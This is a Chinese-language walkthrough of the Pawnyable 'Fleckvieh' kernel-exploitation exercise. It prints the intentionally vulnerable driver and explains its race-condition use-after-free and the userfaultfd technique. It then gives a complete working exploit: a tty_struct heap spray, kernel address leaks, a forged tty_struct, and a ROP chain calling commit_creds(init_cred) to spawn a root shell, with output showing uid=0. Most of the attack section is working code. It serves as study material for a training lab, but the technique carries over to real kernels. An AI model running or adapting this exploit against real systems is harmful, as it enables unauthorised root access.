原文
Linux Kernel PWN | 040303 Pawnyable之userfaultfd
userfaultfdの利用
题目下载
代码分析
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Fleckvieh - Vulnerable Kernel Driver for Pawnyable");
#define DEVICE_NAME "fleckvieh"
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
typedef struct {
int id;
size_t size;
char *data;
} request_t;
typedef struct {
int id;
size_t size;
char *data;
struct list_head list;
} blob_list;
static int module_open(struct inode *inode, struct file *filp) {
/* Allocate list head */
filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
if (unlikely(!filp->private_data))
return -ENOMEM;
INIT_LIST_HEAD((struct list_head*)filp->private_data);
return 0;
}
static int module_close(struct inode *inode, struct file *filp) {
struct list_head *top;
blob_list *itr, *tmp;
/* Remove everything */
top = (struct list_head*)filp->private_data;
tmp = NULL;
list_for_each_entry_safe(itr, tmp, top, list) {
list_del(&itr->list);
kfree(itr->data);
kfree(itr);
}
kfree(top);
return 0;
}
blob_list *blob_find_by_id(struct list_head *top, int id) {
blob_list *itr;
/* Find blob by id */
list_for_each_entry(itr, top, list) {
if (unlikely(itr->id == id)) return itr;
}
return NULL;
}
long blob_add(struct list_head *top, request_t *req) {
blob_list *new;
/* Check size */
if (req->size > 0x1000)
return -EINVAL;
/* Allocate a new blob structure */
new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
if (unlikely(!new)) return -ENOMEM;
/* Allocate data buffer */
new->data = (char*)kmalloc(req->size, GFP_KERNEL);
if (unlikely(!new->data)) {
kfree(new);
return -ENOMEM;
}
/* Copy data from user buffer */
if (unlikely(copy_from_user(new->data, req->data, req->size))) {
kfree(new->data);
kfree(new);
return -EINVAL;
}
new->size = req->size;
INIT_LIST_HEAD(&new->list);
/* Generate a random positive integer */
do {
get_random_bytes(&new->id, sizeof(new->id));
} while (unlikely(new->id < 0));
/* Insert to list */
list_add(&new->list, top);
return new->id;
}
long blob_del(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id)))
return -EINVAL;
/* Delete the item */
list_del(&victim->list);
kfree(victim->data);
kfree(victim);
return req->id;
}
long blob_get(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id)))
return -EINVAL;
/* Check size */
if (req->size > victim->size)
return -EINVAL;
/* Copy data to user */
if (unlikely(copy_to_user(req->data, victim->data, req->size)))
return -EINVAL;
return req->id;
}
long blob_set(struct list_head *top, request_t *req) {
blob_list *victim;
if (!(victim = blob_find_by_id(top, req->id)))
return -EINVAL;
/* Check size */
if (req->size > victim->size)
return -EINVAL;
/* Copy data from user */
if (unlikely(copy_from_user(victim->data, req->data, req->size)))
return -EINVAL;
return req->id;
}
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
struct list_head *top;
request_t req;
if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))
return -EINVAL;
top = (struct list_head*)filp->private_data;
switch (cmd) {
case CMD_ADD: return blob_add(top, &req);
case CMD_DEL: return blob_del(top, &req);
case CMD_GET: return blob_get(top, &req);
case CMD_SET: return blob_set(top, &req);
default: return -EINVAL;
}
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.open = module_open,
.release = module_close,
.unlocked_ioctl = module_ioctl
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
打开驱动
会创建一个双向链表,并将filp->private_data指向这个双向链表
blob_add
- 创建一个
struct blob_list
节点, - 并根据参数
req-size
传递的长度,创建一个堆空间,blob_list->data
指向这个堆空间, - 再通过
copy_from_user
,将参数req->data
指向的用户空间的内容复制到blob_list->data
中, - 之后将
req->size
也就是req->data
的长度值赋值给blob_list->size
- 接着初始化
blob_list->list
双向链表,并链入到filp->private_data
- 最后生成一个随机数,赋值到
blob_list->id
中,并返回给调用者,用来索引该节点
blob_del
- 通过参数
req->id
索引到blob_list节点 - 将该节点从
filp->private_data
双向链表中断开 - 删除
blob_list->data
指向的堆空间 - 删除
struct blob_list
节点占据的空间
blob_get
- 通过参数
req->id
索引到blob_list节点 - 通过
copy_to_user
将blob_list->data
中的内容复制到参数req->data
指向的用户空间
blob_set
- 通过参数
req->id
索引到blob_list节点 - 通过
copy_from_user
将参数req->data
指向用户空间的内容复制到blob_list->data
指向的内核空间
漏洞分析
代码存在条件竞争,并可转换为UAF漏洞
条件竞争->UAF:实现内核地址泄露
- 线程1新增一个链表节点A(blob_add)
- 线程1对链表节点A执行查询操作(blob_get);在copy_to_user执行前,线程2对链表节点A执行删除操作(blob_del),并喷射tty_struct占位(依赖于blob_add是传递参数req->size的值)
- 线程1执行copy_to_user,实际上将某个tty_struct的内容复制到了用户空间
条件竞争->UAF:实现控制流劫持
转化为UAF漏洞并实现控制流劫持所需的竞态状态:
1.线程1新增一个链表节点B(blob_add)
2.线程1对链表节点B执行查询操作(blob_set);在copy_from_user执行前,线程2对链表节点B执行删除操作(blob_del),并喷射tty_struct占位
3.线程1执行copy_from_user,实际上将占位的tty_struct内容替换成了攻击者的伪造tty_struct
条件竞争点在于,在执行copy_to_user
和copy_from_user
前,需要完成blob_list节点的删除,和堆喷的重新占位,这个难度较大,但是userfaultfd
可以解决当前题目环境的问题。
userfaultfd解析
参考
man ioctl_userfaultfd
man userfaultfd
userfaultfd的功能
userfaultfd
用于处理用户态缺页异常。比如mmap分配一段内存空间,此刻这段这段内存空间没有与物理页挂钩,只有实际对该空间进行读/写时,才通过缺页异常进入内核态挂载物理页。
现在可以通过userfaultfd
机制,在用户态处理这个缺页异常。
比方,mmap 4页大小的虚拟空间,现在还没有挂上物理页
现在要往这段空间写入大量的数据,4 * 0x1000字节的数据。由于4 * 0x1000是4个page页的大小,每个页都会触发一次缺页异常,因此每个页都会触发一次userfaultfd
在经过userfaultfd处理后,这段4 * 0x1000虚拟空间都挂上了物理页,以后对这些虚拟空间的读写就不会发生缺页异常,因此对于每一个page大小的虚拟空间,userfaultfd只触发一次
。
现在看看userfaultfd是怎么进行处理的
(步骤5大概就是这意思,我不知道是挂载的原始页,还是再生成新页,再把新页挂载到虚拟空间上?)
对于写
对于读
userfaultfd 操作逻辑
- 1、要使用userfaultfd功能,需要通过系统调用获取操作
userfaultfd
的文件句柄,假设获取到的句柄是uffd
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
- 2、通过
uffd
配置userfaultfd
功能版本,缺页类型ioctl(uffd, UFFDIO_API, &uffdio_api)
- 3、通过
uffd
配置注册缺页监控范围ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
- 4、通过
uffd
文件描述符轮询缺页事件(由于从轮询事件会发生阻塞,所以从这一步往下需要放到一个新线程中)pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)
- 5、通过
uffd
配置处理缺页事件ioctl(uffd, UFFDIO_COPY, ©)
推荐看这三个文档
man ioctl_userfaultfd
man userfaultfd
https://www.kernel.org/doc/html/next/admin-guide/mm/userfaultfd.html
https://xz.aliyun.com/t/6653
再结合如下demo进行理解
/*
serfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,
那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。
异常处理线程可以做一些处理,然后唤醒之前暂停的线程
该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。
然后,主线程尝试向先前申请的两个匿名页依次写入数据。
针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。
针对同一页面的第二次及之后的读写操作将不再触发缺页异常
*/
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
void fatal(const char *msg) {
perror(msg);
exit(1);
}
static void *fault_handler_thread(void *arg) {
char *dummy_page;
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;
uffd = (long)arg;
puts("[t][*] mmaping one dummy page");
dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (dummy_page == MAP_FAILED)
fatal("mmap(dummy)");
puts("[t][*] waiting for page fault");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");
// block until triggered
// 非阻塞I/O使我们的操作要么成功,要么立即返回错误,不被阻塞
if (read(uffd, &msg, sizeof(msg)) <= 0)
fatal("read(uffd)");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[t][+] caught page fault");
printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address);
// craft data and copy
puts("[t][*] writing hello world into dummy page");
if (fault_cnt++ == 0)
strcpy(dummy_page, "Hello, world! (1)");
else
strcpy(dummy_page, "Hello, world! (2)");
puts("[t][*] copying data from dummy page to faulted page");
copy.src = (unsigned long)dummy_page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) == -1)
fatal("ioctl(UFFDIO_COPY)");
}
return NULL;
}
int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
puts("[*] registering userfaultfd");
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
puts("[*] spawning a fault handler thread");
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
fatal("pthread_create");
return 0;
}
int main() {
void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);
register_uffd(page, 0x2000);
char buf[0x100];
puts("[*] reading from page#1");
strcpy(buf, (char *)(page));
printf("[+] 0x0000: %s\n", buf);
puts("[*] reading from page#2");
strcpy(buf, (char *)(page + 0x1000));
printf("[+] 0x1000: %s\n", buf);
puts("[*] reading from page#1");
strcpy(buf, (char *)(page));
printf("[+] 0x0000: %s\n", buf);
puts("[*] reading from page#2");
strcpy(buf, (char *)(page + 0x1000));
printf("[+] 0x1000: %s\n", buf);
getchar();
return 0;
}
/*
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
*/
漏洞利用
对于本体,只要用户空间被userfaultfd监控,条件竞争就能稳定触发成功
poc
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct {
long id;
size_t size;
char *data;
} request_t;
int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;
int add(char *data, size_t size) {
request_t req = {.size = size, .data = data};
int r = ioctl(fd, CMD_ADD, &req);
if (r == -1)
fatal("blob_add");
return r;
}
int del(int id) {
request_t req = {.id = id};
int r = ioctl(fd, CMD_DEL, &req);
if (r == -1)
fatal("blob_del");
return r;
}
int get(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_GET, &req);
if (r == -1)
fatal("blob_get");
return r;
}
int set(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_SET, &req);
if (r == -1)
fatal("blob_set");
return r;
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;
puts("[t][*] set cpu affinity");
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
uffd = (long)arg;
puts("[t][*] waiting for page fault");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0)
fatal("read(uffd)");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[t][+] caught page fault");
switch (fault_cnt++) {
case 0:
case 1: {
puts("[t][*] crafting UAF");
puts("[t][*] deleting victim blob");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
// just reuse the buf in user land
copy.src = (unsigned long)buf;
break;
}
}
copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) == -1)
fatal("ioctl(UFFDIO_COPY)");
}
return NULL;
}
int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
puts("[*] registering userfaultfd");
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
puts("[*] spawning a fault handler thread");
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
fatal("pthread_create");
return 0;
}
int main() {
puts("[*] set cpu affinity");
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1)
fatal("/dev/fleckvieh");
void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);
register_uffd(page, 0x2000);
buf = (char *)malloc(0x1000);
victim = add(buf, 0x400);
set(victim, "Hello", 6);
puts("[*] UAF#1 leak kbase");
puts("[*] reading 0x20 bytes from victim blob to page#1");
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
puts("[*] UAF#2 leak kheap");
victim = add(buf, 0x400);
puts("[*] reading 0x400 bytes from victim blob to page#2");
get(victim, page + 0x1000, 0x400);
kheap = *(unsigned long *)(page + 0x1038) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);
return 0;
}
/*
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
*/
exp
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0
#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)
void fatal(const char *msg) {
perror(msg);
exit(1);
}
typedef struct {
long id;
size_t size;
char *data;
} request_t;
unsigned long user_cs, user_ss, user_sp, user_rflags;
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;
int add(char *data, size_t size) {
request_t req = {.size = size, .data = data};
int r = ioctl(fd, CMD_ADD, &req);
if (r == -1)
fatal("blob_add");
return r;
}
int del(int id) {
request_t req = {.id = id};
int r = ioctl(fd, CMD_DEL, &req);
if (r == -1)
fatal("blob_del");
return r;
}
int get(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_GET, &req);
if (r == -1)
fatal("blob_get");
return r;
}
int set(int id, char *data, size_t size) {
request_t req = {.id = id, .size = size, .data = data};
int r = ioctl(fd, CMD_SET, &req);
if (r == -1)
fatal("blob_set");
return r;
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;
puts("[t][*] set cpu affinity");
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
uffd = (long)arg;
puts("[t][*] waiting for page fault");
pollfd.fd = uffd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");
if (read(uffd, &msg, sizeof(msg)) <= 0)
fatal("read(uffd)");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
puts("[t][+] caught page fault");
switch (fault_cnt++) {
case 0:
case 1: {
puts("[t][*] UAF read");
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
copy.src = (unsigned long)buf;
break;
}
case 2: {
puts("[t][*] UAF write");
printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
for (int i = 0; i < 0x100; i++)
add(buf, 0x400);
del(victim);
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
for (int i = 0; i < SPRAY_NUM; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1)
fatal("/dev/ptmx");
}
copy.src = (unsigned long)buf;
break;
}
default:
fatal("[t][-] unexpected page fault");
}
copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) == -1)
fatal("ioctl(UFFDIO_COPY)");
}
return NULL;
}
int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;
puts("[*] registering userfaultfd");
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
fatal("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
puts("[*] spawning a fault handler thread");
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
fatal("pthread_create");
return 0;
}
int main() {
save_userland_state();
puts("[*] set cpu affinity");
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1)
fatal("/dev/fleckvieh");
void *page;
page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
fatal("mmap");
printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);
register_uffd(page, 0x3000);
buf = (char *)malloc(0x1000);
puts("[*] UAF#1 leak kbase");
puts("[*] reading 0x20 bytes from victim blob to page#1");
victim = add(buf, 0x400);
get(victim, page, 0x20);
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
puts("[*] UAF#2 leak kheap");
victim = add(buf, 0x400);
puts("[*] reading 0x400 bytes from victim blob to page#2");
get(victim, page + 0x1000, 0x400);
kheap = *(unsigned long *)(page + 0x1038) - 0x38;
for (int i = 0; i < SPRAY_NUM; i++)
close(ptmx[i]);
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);
puts("[*] crafting fake tty_struct in buf");
memcpy(buf, page + 0x1000, 0x400);
unsigned long *tty = (unsigned long *)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = *(unsigned long *)(page + 0x10); // dev
tty[3] = kheap; // ops
tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl
puts("[*] crafting rop chain");
unsigned long *chain = (unsigned long *)(buf + 0x100);
*chain++ = 0xdeadbeef; // pop
*chain++ = pop_rdi_ret;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = swapgs_restore_regs_and_return_to_usermode;
*chain++ = 0x0;
*chain++ = 0x0;
*chain++ = (unsigned long)&spawn_shell;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
puts("[*] UAF#3 write rop chain");
victim = add(buf, 0x400);
set(victim, page + 0x2000, 0x400);
puts("[*] invoking ioctl to hijack control flow");
for (int i = 0; i < SPRAY_NUM; i++)
ioctl(ptmx[i], 0, kheap + 0x100);
getchar();
return 0;
}
/*
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
*/